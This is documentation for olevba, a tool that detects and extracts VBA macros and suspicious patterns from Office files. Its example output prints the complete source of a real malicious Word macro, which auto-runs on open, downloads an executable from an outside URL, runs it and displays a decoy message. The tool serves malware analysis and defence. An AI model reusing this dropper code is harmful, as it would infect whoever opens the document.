olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, and potential IOCs (IP addresses, URLs, executable filenames, etc). It also detects and decodes several common obfuscation methods including Hex encoding, StrReverse, Base64, Dridex, and extracts IOCs from decoded strings.
It can be used either as a command-line tool, or as a python module from your own applications.
It is part of the python-oletools package.
olevba is based on source code from officeparser by John William Davison, with significant modifications.
MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document.
See this article for more information and technical details about VBA Macros and how they are stored in MS Office documents.
Usage: olevba.py [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open first file from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-t triage mode, display results as a summary table
(default for multiple files)
-d detailed mode, display full results (default for
single file)
-i INPUT, --input=INPUT
input file containing VBA source code to be analyzed
(no parsing)
--hex display all the hex-encoded strings with their decoded
content.
Scan a single file:
olevba.py file.doc
Scan a single file, stored in a Zip archive with password "infected":
olevba.py malicious_file.xls.zip -z infected
Scan a single file, showing all obfuscated strings decoded:
olevba.py file.doc --hex
Scan VBA source code extracted into a text file:
olevba.py -i source_code.vba
Scan a collection of files stored in a folder:
olevba.py MalwareZoo/VBA/*
Scan all .doc and .xls files, recursively in all subfolders:
olevba.py MalwareZoo/VBA/*.doc MalwareZoo/VBA/*.xls -r
Scan all .doc files within all .zip files with password, recursively:
olevba.py MalwareZoo/VBA/*.zip -r -z infected -f *.doc
When a single file is scanned, or when using the option -d, all details of the analysis are displayed.
For example, checking the malware sample DIAN_caso-5415.doc:
>olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected
===============================================================================
FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Option Explicit
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,_
ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
ByVal HQTLDG As Long) As Long
Sub AutoOpen()
Auto_Open
End Sub
Sub Auto_Open()
SNVJYQ
End Sub
Public Sub SNVJYQ()
OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.
exe"
End Sub
Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
Dim HRKUYU, lala As Long
HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)
If HRKUYU = 0 Then OGEXYR = True
Dim YKPZZS
YKPZZS = Shell(PHHWIV, 1)
MsgBox "El contenido de este documento no es compatible con este equipo." &
vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no
compatible"
lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi
ron("TMP") & "\lkjljlljk", 0, 0)
Application.DisplayAlerts = False
Application.Quit
End Function
Sub Workbook_Open()
Auto_Open
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| AutoExec | Auto_Open | Runs when the Excel Workbook is opened |
| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
| Suspicious | Lib | May run code from a DLL |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | Environ | May read system environment variables |
| Suspicious | URLDownloadToFileA | May download files from the Internet |
| IOC | http://germanya.com. | URL |
| | ec/logs/test.exe" | |
| IOC | http://germanya.com. | URL |
| | ec/logs/counter.php" | |
| IOC | germanya.com | Executable file name |
| IOC | test.exe | Executable file name |
| IOC | sfjozjero.exe | Executable file name |
+------------+----------------------+-----------------------------------------+
When several files are scanned, or when using the option -t, a summary of the analysis for each file is displayed. This is more convenient for quick triage of a collection of suspicious files.
The following flags show the results of the analysis:
Here is an example:
c:\>olevba.py \MalwareZoo\VBA\samples\*
Flags Filename
----------- -----------------------------------------------------------------
OLE:MASI--- \MalwareZoo\VBA\samples\DIAN_caso-5415.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_1.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_2.doc.malware
OLE:MASI--- \MalwareZoo\VBA\samples\DRIDEX_3.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_4.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_5.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_6.doc.malware
OLE:MAS---- \MalwareZoo\VBA\samples\DRIDEX_7.doc.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_8.doc.malware
OLE:MASIHBD \MalwareZoo\VBA\samples\DRIDEX_9.xls.malware
OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_A.doc.malware
OLE:------- \MalwareZoo\VBA\samples\Normal_Document.doc
OLE:M------ \MalwareZoo\VBA\samples\Normal_Document_Macro.doc
OpX:MASI--- \MalwareZoo\VBA\samples\RottenKitten.xlsb.malware
OLE:MASI-B- \MalwareZoo\VBA\samples\ROVNIX.doc.malware
OLE:MA----- \MalwareZoo\VBA\samples\Word within Word macro auto.doc
olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code from your own python applications.
IMPORTANT: olevba is currently under active development, therefore this API is likely to change.
First, import the oletools.olevba package, using at least the VBA_Parser and VBA_Scanner classes:
from oletools.olevba import VBA_Parser, VBA_Scanner
To parse a file on disk, create an instance of the VBA_Parser class, providing the name of the file to open as parameter. For example:
vba = VBA_Parser('my_file_with_macros.doc')
The file may also be provided as a bytes string containing its data. In that case, the actual filename must be provided for reference, and the file content with the data parameter. For example:
myfile = 'my_file_with_macros.doc'
filedata = open(myfile, 'rb').read()
vba = VBA_Parser(myfile, data=filedata)
VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML (MS Office 2007+).
The method detect_vba_macros of a VBA_Parser object returns True if VBA macros have been found in the file, False otherwise.
if vba.detect_vba_macros():
print 'VBA Macros found'
else:
print 'No VBA Macros found'
Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will always return False because VBA Macros are stored in a different way which is not yet supported by olevba.
Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method may return True if the embedded document contains VBA Macros, even if the main document does not.
The method extract_macros extracts and decompresses source code for each VBA macro found in the file (possibly including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) for each VBA macro found.
Example:
for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
print '-'*79
print 'Filename :', filename
print 'OLE stream :', stream_path
print 'VBA filename:', vba_filename
print '- '*39
print vba_code
Note: this API is under active development and may change in the future.
The class VBA_Scanner can be used to scan the source code of a VBA module to find obfuscated strings, suspicious keywords, IOCs, auto-executable macros, etc.
First, create a VBA_Scanner object with a string containing the VBA source code (for example returned by the extract_macros method). Then call the methods scan or scan_summary to get the results of the analysis.
scan() takes an optional argument include_decoded_strings: if set to True, the results will contain all the encoded strings found in the code (Hex, Base64, Dridex) with their decoded value.
scan returns a list of tuples (type, keyword, description), one for each item in the results.
Example:
vba_scanner = VBA_Scanner(vba_code)
results = vba_scanner.scan(include_decoded_strings=True)
for kw_type, keyword, description in results:
print 'type=%s - keyword=%s - description=%s' % (kw_type, keyword, description)
The function scan_vba is a shortcut for VBA_Scanner(vba_code).scan():
results = scan_vba(vba_code, include_decoded_strings=True)
for kw_type, keyword, description in results:
print 'type=%s - keyword=%s - description=%s' % (kw_type, keyword, description)
scan_summary returns a tuple with the number of items found for each category: (autoexec, suspicious, IOCs, hex, base64, dridex).
Deprecated: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.
The function detect_autoexec checks if VBA macro code contains specific macro names that will be triggered when the document/workbook is opened, closed, changed, etc.
It returns a list of tuples containing two strings, the detected keyword, and the description of the trigger. (See the malware example above)
Sample usage:
from oletools.olevba import detect_autoexec
autoexec_keywords = detect_autoexec(vba_code)
if autoexec_keywords:
print 'Auto-executable macro keywords found:'
for keyword, description in autoexec_keywords:
print '%s: %s' % (keyword, description)
else:
print 'Auto-executable macro keywords: None found'
Deprecated: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.
The function detect_suspicious checks if VBA macro code contains specific keywords often used by malware to act on the system (create files, run commands or applications, write to the registry, etc).
It returns a list of tuples containing two strings, the detected keyword, and the description of the corresponding malicious behaviour. (See the malware example above)
Sample usage:
from oletools.olevba import detect_suspicious
suspicious_keywords = detect_suspicious(vba_code)
if suspicious_keywords:
print 'Suspicious VBA keywords found:'
for keyword, description in suspicious_keywords:
print '%s: %s' % (keyword, description)
else:
print 'Suspicious VBA keywords: None found'
Deprecated: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.
The function detect_patterns checks if VBA macro code contains specific patterns of interest, that may be useful for malware analysis and detection (potential Indicators of Compromise): IP addresses, e-mail addresses, URLs, executable file names.
It returns a list of tuples containing two strings, the pattern type, and the extracted value. (See the malware example above)
Sample usage:
from oletools.olevba import detect_patterns
patterns = detect_patterns(vba_code)
if patterns:
print 'Patterns found:'
for pattern_type, value in patterns:
print '%s: %s' % (pattern_type, value)
else:
print 'Patterns: None found'
After usage, it is better to call the close method of the VBA_Parser object, to make sure the file is closed, especially if your application is parsing many files.
vba.close()